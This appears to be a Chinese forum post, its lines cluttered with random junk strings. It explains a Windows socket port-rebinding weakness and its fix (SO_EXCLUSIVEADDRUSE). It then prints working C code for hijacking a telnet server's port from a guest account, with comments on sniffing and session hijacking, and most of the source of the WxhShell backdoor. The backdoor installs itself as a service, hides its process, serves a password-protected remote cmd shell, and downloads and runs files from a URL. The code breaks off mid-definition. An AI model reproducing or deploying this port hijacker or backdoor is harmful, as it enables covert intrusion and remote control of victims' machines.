在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
nPUqMn' s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
-!({BH-M_ /xJqJ_70X saddr.sin_family = AF_INET;
mw^7oO# ,Os? f:Y6 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
c={Ft*N vOgC>_x7 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
auWXgkwZs/ %5\3Aw 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
X#w%>al aTzDew 这意味着什么?意味着可以进行如下的攻击:
-@&1`@):{ x#C@8Bxq= 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
:|1.seLQ ai*b:Q 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Z"s|]K " _e!F~V. 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
i5F:r| *xR
2)u 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
rNl.7O9b A-ZmG7xk 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
B ZMu[M `)4a[thp 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
n,O5".aa< 6>
{r6ixs1 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\.gEh1HW 3I 0eW%, #include
4@;-%H&7 #include
@$eT~ C #include
/hv#CB>1x #include
ug`NmIQP DWORD WINAPI ClientThread(LPVOID lpParam);
;PyZ?Z; int main()
>\A8#@1 {
k#:2'!7G WORD wVersionRequested;
(5$ZvXx?} DWORD ret;
AD('=g J WSADATA wsaData;
VzlDHpG BOOL val;
K^t?gt@k} SOCKADDR_IN saddr;
r gcWRt SOCKADDR_IN scaddr;
<f~Fl^^8 int err;
Bf4%G,o5 SOCKET s;
a1N!mQ^ SOCKET sc;
Wd(86idnc int caddsize;
}vt%R.u HANDLE mt;
v0l_w DWORD tid;
G&f7+e wVersionRequested = MAKEWORD( 2, 2 );
lnbmo Hv err = WSAStartup( wVersionRequested, &wsaData );
'YSuQP> if ( err != 0 ) {
;,OfJ'q^ printf("error!WSAStartup failed!\n");
;\%sEcpT return -1;
RD<75]**{ }
@o e\"vz saddr.sin_family = AF_INET;
<1~^C %"A_!<n@*` //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
[{&jr]w`| %|XE#hw saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Rn+4DcR saddr.sin_port = htons(23);
1QJBb \ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
7k=fZ$+O {
mW`oq printf("error!socket failed!\n");
g2p"LWex- return -1;
T,JA#Rk|1N }
UmK X*T9 val = TRUE;
?H R%bngK //SO_REUSEADDR选项就是可以实现端口重绑定的
X21dX`eMN if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
84&XW {
gH:ArfC printf("error!setsockopt failed!\n");
Wf>^bFb"$ return -1;
t0m*PJcF }
W$?e<@ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
'qv;sB. //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
k<4P6? //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
19d6]pJ5 `Xo 4q3 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
$(HjI
\%l^ {
?$%%Mp( ret=GetLastError();
RB3 zHk% printf("error!bind failed!\n");
yi!`V. return -1;
keqcV23k }
>[*4Tjg listen(s,2);
%(LvE}[RJ while(1)
2'{}<9 {
</E>tMW caddsize = sizeof(scaddr);
^abD!8 //接受连接请求
i</J @0}y sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
'dt\db5p if(sc!=INVALID_SOCKET)
4Nmea-!* {
(v#pj8aE mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Rs$5PdH if(mt==NULL)
(a{ZJI8_ {
>xd<YwXZ printf("Thread Creat Failed!\n");
t<b 3K- break;
?~2Bi^W5 }
!0fI"3P@r }
YL^Z4: p CloseHandle(mt);
6f]r Q9 }
yBn_Kd closesocket(s);
jM__{z WSACleanup();
x0Bw{>Q return 0;
,86K }
/)V4k:#b DWORD WINAPI ClientThread(LPVOID lpParam)
fA8ozL T {
WD?Jk9_F SOCKET ss = (SOCKET)lpParam;
T{-2fp8r[ SOCKET sc;
3eg5oAZ)G8 unsigned char buf[4096];
W^xZ+] SOCKADDR_IN saddr;
Zg $Tf long num;
kX8=cL9G DWORD val;
l_+A5Xy DWORD ret;
A4_>LO_qL //如果是隐藏端口应用的话,可以在此处加一些判断
:)P<jX-G //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
,$Tk$ saddr.sin_family = AF_INET;
Vm!i saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
v*P[W_. saddr.sin_port = htons(23);
\p6 } if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
v["3 {
wOHEv^, printf("error!socket failed!\n");
.s};F/(diD return -1;
dERc}oAh( }
* bZ\@Qm val = 100;
F 1} if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'TX M{RGw {
*]{=8zc2 ret = GetLastError();
EUwQIA2c8N return -1;
r'd/qnd }
}[,3yfiX if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~n]NyVFP {
.3g&9WvN!Z ret = GetLastError();
UB&2f> return -1;
v>at/ef }
v*L
'{3f if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
NW De-<fQ {
v&2+'7]w
r printf("error!socket connect failed!\n");
'rx?hL3VW closesocket(sc);
8vJdf9pB* closesocket(ss);
^/{4'\p return -1;
aQh?}=d a }
l;5`0N?QO while(1)
}jcIDiSu {
Opry`}5h //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
CZfE
|T~ //如果是嗅探内容的话,可以再此处进行内容分析和记录
b"P&+c //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
`Qq/F] num = recv(ss,buf,4096,0);
-kc(u1! if(num>0)
qC.i6IL send(sc,buf,num,0);
0Bu*g LY else if(num==0)
kJeu40oN break;
6J;i,/ky num = recv(sc,buf,4096,0);
h,hL?imD if(num>0)
2[BA(B send(ss,buf,num,0);
uRGB/ju^E else if(num==0)
,TJ/3_ lH break;
=kO@ Gk? }
=phiD&= closesocket(ss);
`5<1EGJsD closesocket(sc);
%1Jd^[W return 0 ;
"GLYyC }
\^m.dIPdO LJ
l1v =~$U^IsWA ==========================================================
/h-6CR
Ka tGqQJT#mr7 下边附上一个代码,,WXhSHELL
54wM8'+ .xnQd^qoac ==========================================================
Q;@X2JSp \6 LcV ik #include "stdafx.h"
zf7rF} [,nfAY #include <stdio.h>
J=VyyUB #include <string.h>
2mq%|VG' #include <windows.h>
QqjTLuN #include <winsock2.h>
?N2X)Y@yi #include <winsvc.h>
/KP_Vc:g2_ #include <urlmon.h>
b.,$# D{p L"9 Gc #pragma comment (lib, "Ws2_32.lib")
1)gv%_ #pragma comment (lib, "urlmon.lib")
+/}_%Cf8 7p
!zp 9| #define MAX_USER 100 // 最大客户端连接数
H-m`Dh5{ #define BUF_SOCK 200 // sock buffer
.f+9 A> #define KEY_BUFF 255 // 输入 buffer
RSFJu\0}N X,&xhSzg? #define REBOOT 0 // 重启
3f,u}1npa* #define SHUTDOWN 1 // 关机
{NY]L==H N[]U%9[=2F #define DEF_PORT 5000 // 监听端口
ny~W]1 T7ki/hjRb #define REG_LEN 16 // 注册表键长度
G ;jF9i #define SVC_LEN 80 // NT服务名长度
rBS2>? ]'E}
// 从dll定义API
w2@"PGR typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
o6:45 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
+&?'KZ+Z_v typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
l&$*}yCK typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
H}(=?}+ <
)Alb\Z // wxhshell配置信息
(Q\\Gw struct WSCFG {
at=D&oy4"+ int ws_port; // 监听端口
?U$}Rsk{# char ws_passstr[REG_LEN]; // 口令
.u&|e int ws_autoins; // 安装标记, 1=yes 0=no
bt0djJRw char ws_regname[REG_LEN]; // 注册表键名
Gk{W:866 char ws_svcname[REG_LEN]; // 服务名
s7vPI char ws_svcdisp[SVC_LEN]; // 服务显示名
]}/mFY?7 char ws_svcdesc[SVC_LEN]; // 服务描述信息
|o|gP8 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
yI lV[_ int ws_downexe; // 下载执行标记, 1=yes 0=no
F1E.\l char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
*|@+rbjVC char ws_filenam[SVC_LEN]; // 下载后保存的文件名
|z T%$ *WD;C0?z };
N: A3kp 5nY9Ls(e // default Wxhshell configuration
CN-4- struct WSCFG wscfg={DEF_PORT,
H
kSL5@ "xuhuanlingzhe",
k RQ~hRT6 1,
xa'
nJ"f; "Wxhshell",
9y;y7i{>? "Wxhshell",
xp~YIeSg "WxhShell Service",
8IpxOA#jQ "Wrsky Windows CmdShell Service",
otoBb^Mz "Please Input Your Password: ",
M9h<}mh\ 1,
}z8{B3K "
http://www.wrsky.com/wxhshell.exe",
B,w:DX "Wxhshell.exe"
P4i3y{$V };
KU*`f{| ^P]?3U\nj // 消息定义模块
7:# char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
O{Dm;@J-aM char *msg_ws_prompt="\n\r? for help\n\r#>";
d\\r_bGW char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Ck:#1-t8{ char *msg_ws_ext="\n\rExit.";
OuMco+C char *msg_ws_end="\n\rQuit.";
>7"$}5d char *msg_ws_boot="\n\rReboot...";
"^Y6ctw char *msg_ws_poff="\n\rShutdown...";
}7-7t{G char *msg_ws_down="\n\rSave to ";
`Fz\wPd x GwTk char *msg_ws_err="\n\rErr!";
poTl|y @ char *msg_ws_ok="\n\rOK!";
bkxk
i@t ?rky6 char ExeFile[MAX_PATH];
]Jja int nUser = 0;
vU ?b"n HANDLE handles[MAX_USER];
GJ.kkTMT int OsIsNt;
Ng?apaIi@~ u,:CJ[3 SERVICE_STATUS serviceStatus;
j
l}!T[5 SERVICE_STATUS_HANDLE hServiceStatusHandle;
Fecx';_1` mx:J>SPA8 // 函数声明
8e]z6:}'E int Install(void);
0Z@ARMCe|m int Uninstall(void);
E"G:K`Q int DownloadFile(char *sURL, SOCKET wsh);
Y]hV-_2+Do int Boot(int flag);
bl$+8!~ void HideProc(void);
1 ,#{X3 int GetOsVer(void);
jB5>y&+ int Wxhshell(SOCKET wsl);
kA;xAb+U3 void TalkWithClient(void *cs);
\8=e|a5` int CmdShell(SOCKET sock);
y;zt_O/ int StartFromService(void);
,:Rft int StartWxhshell(LPSTR lpCmdLine);
w906aV*s tZdwy> ; VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
A*G
)CG
VOID WINAPI NTServiceHandler( DWORD fdwControl );
oNiToFbQu : =
]sq}IN // 数据结构和表定义
JmnBq<&,0 SERVICE_TABLE_ENTRY DispatchTable[] =
R)sp {
3Ne9%" {wscfg.ws_svcname, NTServiceMain},
i7i|370 {NULL, NULL}
#;wkr)) };
Uzan7A /'R UA // 自我安装
k&MlQ2'!< int Install(void)
aQl?d<|+lk {
MZ;"J82p char svExeFile[MAX_PATH];
,Wz[tYL* HKEY key;
6U;Jg_zS strcpy(svExeFile,ExeFile);
9@$tiDV #H'sZv // 如果是win9x系统,修改注册表设为自启动
"Czz,;0 if(!OsIsNt) {
fR+Ov8PCq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7p
P| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
R4&|t RegCloseKey(key);
X{5v?4wI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
_F}IF9{?G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
4w;rl(s RegCloseKey(key);
S^3g]5YX return 0;
[$hptQv }
~a|^?7@p }
#)W8. }
?)Tz'9l else {
n@G:e-m{A \e`6=Q% // 如果是NT以上系统,安装为系统服务
FBR$,j;Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
1<XiD3H; if (schSCManager!=0)
4]Un=?)I {
Paae-EmC SC_HANDLE schService = CreateService
U@o2gjGN (
OVDMC4K2z! schSCManager,
:6 Hxxh wscfg.ws_svcname,
o 8~f wscfg.ws_svcdisp,
XD_P\z SERVICE_ALL_ACCESS,
&4mfzpK SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
[_g#x(= SERVICE_AUTO_START,
1TK #eU SERVICE_ERROR_NORMAL,
D)H?=G svExeFile,
+Fu@I{"A NULL,
]%NO"HzF~ NULL,
:J=+; I(UI NULL,
-IpV'%nX; NULL,
u#zP>! NULL
%f_)<NP9= );
!~Hafn-1 if (schService!=0)
(hhdbf {
5@w'_#!) CloseServiceHandle(schService);
BxSk%$J CloseServiceHandle(schSCManager);
xm<5S;E5U4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
[JX}1%NA strcat(svExeFile,wscfg.ws_svcname);
vR6^n~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
ef;&Y>/ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
?=/}Ft RegCloseKey(key);
zPX=MfF return 0;
@&~OB/7B: }
k#8S`W8^ }
j6&zRFX CloseServiceHandle(schSCManager);
G/LXUhuif }
hO+O0=$}wN }
USnD7I/b `@u+u0 return 1;
vSyi}5D }
NPB ,q& Th 8I5 VrT // 自我卸载
"6`)vgI~ int Uninstall(void)
wu&|~@_s@ {
'T&=$9g7 HKEY key;
+P>
A
P& X]+(c_i:hC if(!OsIsNt) {
*sc0,'0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
wzNt c)~i RegDeleteValue(key,wscfg.ws_regname);
Q70**qm RegCloseKey(key);
>/kPnpJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
H
'WFORso[ RegDeleteValue(key,wscfg.ws_regname);
g6[/F-3Qlf RegCloseKey(key);
9a"Y,1 return 0;
0I(GB;E }
oP|pOs\$p }
-7Aw
s) }
a0V8L+v( else {
DWm;&RPJ <tu[cA> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
'?vgp if (schSCManager!=0)
T>%uRK$ {
0%A(dJA6 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Qq;m"M / if (schService!=0)
:oon}_MdRd {
M0;t%*1 if(DeleteService(schService)!=0) {
q/rHHuY} CloseServiceHandle(schService);
2-cU -i4 CloseServiceHandle(schSCManager);
8ACYuN\ return 0;
v)C:E 9!| }
<WHs
CloseServiceHandle(schService);
RAv RNd }
Sob $j CloseServiceHandle(schSCManager);
'1kj:Np }
:N+#4rtgUY }
.qb_/#Bas <QkN}+B= return 1;
Fl#VKU3h }
ERX|cc !5E%W[ // 从指定url下载文件
XW&8T"q7 int DownloadFile(char *sURL, SOCKET wsh)
Q[ 9rA {
,/w852|ub HRESULT hr;
[FAOp@7W char seps[]= "/";
lE2wkY9^/ char *token;
Oc"'ay(g char *file;
:~0^ib<v; char myURL[MAX_PATH];
o$H Jg char myFILE[MAX_PATH];
>arO$|W njwR~ aL`| strcpy(myURL,sURL);
) v[Knp' token=strtok(myURL,seps);
y-) +I<M while(token!=NULL)
a'>$88tl {
+EiUAs~H file=token;
-}N\REXE token=strtok(NULL,seps);
@8Q+=abz }
.
tH35/r k`2B9,z GetCurrentDirectory(MAX_PATH,myFILE);
yZ?_q$4kEI strcat(myFILE, "\\");
@]ptY* strcat(myFILE, file);
%<ptkZK# send(wsh,myFILE,strlen(myFILE),0);
Wf`OyeRz send(wsh,"...",3,0);
LO$#DHPt hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
}eDX8b8emA if(hr==S_OK)
hPqapz]HcP return 0;
z)<pqN else
%:be{Y6 return 1;
RESGI}u "13
:VTs[5 }
Lm*LJ_+ B 53u.pc // 系统电源模块
kq1M<lk int Boot(int flag)
|q!2i {
Ti@P4:q
HANDLE hToken;
dl7p1Cr TOKEN_PRIVILEGES tkp;
*F8uu. &h4Z|h[01 if(OsIsNt) {
l=-dK_I? OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
\")YKN=W LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
wkZ2Y-#=' tkp.PrivilegeCount = 1;
1z};"A tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
WJFTy+bD AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
qq9tBCk if(flag==REBOOT) {
|E_+*1l q. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
.k:&&sAz return 0;
48&KdbGX }
*l?%
o{ else {
_"w!KNX>(~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
++{+
#s6 return 0;
sei!9+bZr }
4Utx
9^ }
#;*ai\6>vD else {
C O%O<_C if(flag==REBOOT) {
(krG0S:0Q if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
RH'F<!p return 0;
h&)vdCCk }
:jKXKY+T else {
z`r4edk3 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
*}iT6OJ return 0;
milK3+N }
|z7Crz }
rW%'M#!
= r+#V{oE_ return 1;
f s"V'E2a }
p_40V%y^ ;k41+O:f@ // win9x进程隐藏模块
_]r)6RT void HideProc(void)
eUw;!Du
{
-WW!V(~p ]'ApOp HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
CD<u@l,1 if ( hKernel != NULL )
g-V\s&} {
dBq,O%$oq pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
k;:u| s8NS ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
)J6b:W FreeLibrary(hKernel);
cV!/ }
(_n8$3T75 l<K.!z<-:8 return;
"$"mWF- }
<$3nD b- .
;@)5" // 获取操作系统版本
U#1yl6e\I int GetOsVer(void)
&lfF!
{
a3
_0F@I OSVERSIONINFO winfo;
g$T_yT'' winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
>93{=+ GetVersionEx(&winfo);
qF6%XKbh= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
=cKk3kJC return 1;
C<=p"pWw else
[Z Gj7 return 0;
B)cb}.N: }
NizJq*V> ZG[0rvW // 客户端句柄模块
YK+Z0ry int Wxhshell(SOCKET wsl)
.6/p4OR| {
|2&mvjk@H SOCKET wsh;
gLxyRbVI struct sockaddr_in client;
p|8Fl DWORD myID;
rHdP4: n WI4_4 while(nUser<MAX_USER)
S"A_TH {
C`_D{r int nSize=sizeof(client);
IlL wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
?#c@Ag% if(wsh==INVALID_SOCKET) return 1;
`V_/Cz_}D :3*oAh8| handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
%mvx}xV if(handles[nUser]==0)
S_ -mmzC( closesocket(wsh);
_,?H rL9 else
g(r'Y#U nUser++;
;3}b&Z[N] }
VM|)\?Q WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
.MPOUo/e O
xaua return 0;
J& SuUh< }
z}N^`_ * ~4` ec // 关闭 socket
2}Plr{s9 void CloseIt(SOCKET wsh)
AX Jj"hN {
*ik)>c_ closesocket(wsh);
0H]9$D nUser--;
v=WDs#" ExitThread(0);
M_ cb(=ey }
`l0icfy GeTCN // 客户端请求句柄
+hhbp'% void TalkWithClient(void *cs)
I%*Zj,> {
g^^m
a}i ct/THq SOCKET wsh=(SOCKET)cs;
?gP/XjToMg char pwd[SVC_LEN];
|-Klh char cmd[KEY_BUFF];
l>P~M50D?{ char chr[1];
=|zLr" int i,j;
8-6{MJ?F vKLG9ovlY while (nUser < MAX_USER) {
d}CMX$1 (X'K)*G# if(wscfg.ws_passstr) {
u}0t`w: if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
xW )8mv?4n //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
HY#("=9< h //ZeroMemory(pwd,KEY_BUFF);
8(K~QvE~ i=0;
]@]"bF!Dn while(i<SVC_LEN) {
t$D[,$G9 ATewdq[C // 设置超时
m{Xf_rQ
w fd_set FdRead;
5d;K.O struct timeval TimeOut;
SygsZv&LZ FD_ZERO(&FdRead);
$}o,7xAn FD_SET(wsh,&FdRead);
r 24]2A TimeOut.tv_sec=8;
0d)n}fm TimeOut.tv_usec=0;
@d9*<>@: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
C>-"*Lt if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
&G,v*5N8$K L7'n<$F if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
"d* pwd
=chr[0]; dQo$^?
if(chr[0]==0xd || chr[0]==0xa) { `u)V9{
pwd=0; \05C'z3]
break; O4 URr
} ]qQB+]WN
i++; Fd0FG A&L
} ,FPgs0rrS
cW>`Z:6{K
// 如果是非法用户,关闭 socket :9>nY
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F<1'M#bl
} Ho9*y3]
~_6rD`2cJ
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yZ6X$I:C
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PSvRO%&
nI` 1@vB&
while(1) { @72G*u\Wz
h<jIg$rA
ZeroMemory(cmd,KEY_BUFF); of<OOh%3
DvKMb-*S
// 自动支持客户端 telnet标准 Cu5
- w
j=0; 7k3\_BHyb\
while(j<KEY_BUFF) { %|||M=akk
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *V+fRN4 W
cmd[j]=chr[0]; '/@VG_9L]
if(chr[0]==0xa || chr[0]==0xd) { |1$X`|S
cmd[j]=0; BW1O1zIh\
break; _z<q9:
} Cr"hu;
j++; svII =JB
} Xp@OIn
.-
o,_eg1f
// 下载文件 p_5+L@%Gb
if(strstr(cmd,"http://")) { B!lw>rUMQ
send(wsh,msg_ws_down,strlen(msg_ws_down),0); >m46tfoM
if(DownloadFile(cmd,wsh)) 06r cW `
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T~d';P
else ng\S%nA&J
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w-m2N-"='
} |hAGgo/03
else { (yVI<Os{a
awtzt?VtLh
switch(cmd[0]) { 6&cU*Io@
\^D`Hvg
// 帮助 AUd}) UR
case '?': { =^{+h>#s@
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {M5IJt"{4b
break; dzap]RpB
} ^8*.r+7p
// 安装 P=GM7
case 'i': { / ffWmb_4
if(Install()) nfU}ECun4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O\z%6:'M
else l,3tU|V
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uW|y8 BP $
break;
C .Yz<?;S
} 7KLq-u-8
// 卸载 ?2agU
case 'r': { C$5x*`y
if(Uninstall()) n1V*VQV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); auU{Iy
else /fEXAk
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j(hC't-
break; [VHt#JuN,
} #k6T_ki
// 显示 wxhshell 所在路径 SqLKF<tY]/
case 'p': { }#@LZ)]hK
char svExeFile[MAX_PATH]; ]cK@nq)
strcpy(svExeFile,"\n\r"); 4D5)<3N=d'
strcat(svExeFile,ExeFile); mv_-|N~
send(wsh,svExeFile,strlen(svExeFile),0); 4i \n1RW
break; j
jQ=
} v}U;@3W8U
// 重启 6kk(FVX
case 'b': { iW)Ou?aS
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .T2I]d
if(Boot(REBOOT)) \hVFK6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9hQ{r 2
else { -vQ`}e1
closesocket(wsh); m"5gzH
ExitThread(0); w67Pw
} H}/1/5L
break; [?A0{#5)8x
} #N:o)I
// 关机 0n%`Xb0q
case 'd': { x
:s-\>RcA
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P^z)]K#sw
if(Boot(SHUTDOWN)) 4-AmzU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qoc-ZC"<6
else { c|XnPqo;f
closesocket(wsh); !!AutkEg>
ExitThread(0); &^"m6
} Y\\&~g42R2
break; DBRTZES
} 4
0eNgm^
// 获取shell J5-^@JYK
case 's': { Mh\c +1MFs
CmdShell(wsh); O-RiDYej
closesocket(wsh); ]dH;+3}
ExitThread(0); 6[i-Tl
break; "Y6f.rB
} !Wk "a7
// 退出 ay2.CBF
case 'x': { pAYuOk9n
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {chl+au*l
CloseIt(wsh); g~]FI
break; v "07H
} #F
kdcY
// 离开 %%#zO
Z
case 'q': { Ec|#i
send(wsh,msg_ws_end,strlen(msg_ws_end),0); S;
>_9
closesocket(wsh); IcN|e4t^J+
WSACleanup(); N6eY-`4y
exit(1); 2gi`^%#k]
break; FTn[$q
} t_3XqjuA
} hhpH)Bi=
} eG<32$I
i4l?q#X
// 提示信息 @d)6LA9Ec
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q;U[f6JjE
} aV1(DZ83
} MQ01!Y[q_7
4GJsVA (d|
return; ~*RNJ
} h
c"n?
)%0#XC^/X5
// shell模块句柄 p AD@oPC
int CmdShell(SOCKET sock) VrHFM(RNe
{ Q%6*S!~
STARTUPINFO si; 0YKG`W
ZeroMemory(&si,sizeof(si)); Gg/K
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zKR_P{W>^
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z5?xmffB
PROCESS_INFORMATION ProcessInfo; U_+>4zdm
char cmdline[]="cmd"; XWk^$ "
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Xln'~5~)
return 0; \ /o`CV{O
} ie5"
(%".=x-
// 自身启动模式 ?>e-6*.
int StartFromService(void) lUDzfJ}3
{ 0h* AtZv_
typedef struct <~]s+"oVc
{ {epsiHK@tK
DWORD ExitStatus; Rh%x5RFFc
DWORD PebBaseAddress; 1 #_R`(C{
DWORD AffinityMask; 9R!.U\sq
DWORD BasePriority; ;s{rJG{inG
